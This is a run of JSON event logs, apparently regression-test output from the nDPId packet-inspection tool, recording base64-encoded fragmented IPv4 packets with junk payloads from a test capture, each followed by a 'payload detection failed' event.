+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434895,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435090,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435212,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435227,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435238,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435427,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 